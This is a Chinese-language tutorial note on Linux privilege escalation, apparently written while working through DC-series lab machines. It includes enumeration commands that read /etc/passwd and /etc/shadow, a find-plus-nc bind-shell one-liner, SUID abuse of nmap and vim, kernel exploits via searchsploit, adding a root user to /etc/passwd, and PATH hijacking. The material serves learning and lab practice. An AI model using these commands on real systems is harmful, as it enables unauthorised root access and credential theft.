Linux提权笔记
什么是权限
在Linux 系统中,ls -al
即可查看列出文件所属的权限
1 | drwxr-xr-x 2 kali kali 4096 Jan 27 12:52 Downloads |
1 | -rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt |
这里可以分为7个字段。
- 第一组数据
-rw-r--r--
第一位:
-
: 代表普通文件
d
:代表目录
l
:代表软链接
b
:代表块文件
c
:代表字符设备
第二及后面几位,分别三个为一组:
rw-r--r--
代表文件所属的权限
r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行
rw-
表示文件所拥有者的权限。r--
表示文件所在组的用户的权限。r--
表示其他组的用户的权限。- 第二组数据
1
- 如果文件类型为目录,表示目录下的字目录个数
- 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
- 第三组数据
root
. 表示该文件所有者为root 用户 - 第四组数据
root
. 表示该文件所在组为root 组 - 第五组数据
56
表示文件的大小为多少字节。如果为一个目录,则为4096。 - 第六组数据表示
最后一次修改时间
- 第七组数据表示文件名称
如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录。另外对于rwx,我们可以用数字进行替代,r=4,x=1,w=2
前置知识:
常见目录
1 | 这里简单说一下比较常见的目录 |
提权-信息搜集
要想成功提权,就要进行充分的信息搜集。
提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用
基础信息搜集
内核,操作系统,设备信息
1 | uname -a 打印所有可用的系统信息 |
用户和群组
1 | cat /etc/passwd 列出系统上的所有用户 |
用户权限信息
1 | whoami 当前用户名 |
环境信息
1 | env 显示环境变量 |
进程和服务
1 | ps aux |
查看以root 运行的进程
1 | ps aux | grep root |
查看安装的软件
1 | ls -alh /usr/bin/ |
日志文件
1 | cat /var/log/boot.log |
交互式shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
可提权SUID && GUID
参考:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
1 | find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. |
查看可写/执行目录
1 | find / -writable -type d 2>/dev/null # world-writeable folders |
具体操作
SUID 提权
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权
P神文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
常见的可用来提权的Linux 可执行文件有:Nmap, Vim, find, bash, more, less, nano, cp
查看可以suid 提权的可执行文件
1 | find / -perm -u=s -type f 2>/dev/null |
1 | ls -al /usr/bin/find |
find一般用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。比如在DC-1靶机中就能使用find进行提权
绝大部分Linux系统都自带nc,所以也可以用nc进行反弹shell之类的操作
1 | find aaa - exec nc -lvp 5555 -e /bin/sh \; |
- nmap
老版本nmap 具有交互模式,version 2.02~5.21(5.2.0)
namp -V
查看nmap 版本信息
nmap --interactive
MSF中有利用 SUID nmap提权的exp,search nmap后然后利用exploit/unix/local/setuid_nmap
漏洞利用模块即可
5.2.0 之后,nmap 还可以通过执行脚本来提权。
1 | # nse 脚本,shell.nse |
- vim
如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。
vim /etc/shadow
vim 运行shell
1 | vim |
同理less和more
内核漏洞
DC-3靶机,就是利用系统内核漏洞来进行提权
searchsploit Ubuntu 16.04
将exp 下载下来,解压,编译,运行,即可get root 权限。
tar xvf exploit.tar
利用root无密码执行
简单来说一个脚本,这个文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。
比如常见的:
- 写入一个root权限进入/etc/passwd 文件
以DC-4为例子
teehee -a
将输入的内容追加到另一个文件中
简单说下/etc/passwd
各个字段的含义
1 | username:password:User ID:Group ID:comment:home directory:shell |
利用环境变量提权
PATH
是Linux中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
如果你在PATH变量中看到.
,则意味着登录用户可以从当前目录执行二进制文件/脚本
1 | #include<unistd.h> |
然后查看它的权限可以发现是有s
位,即suid。
现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null
来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面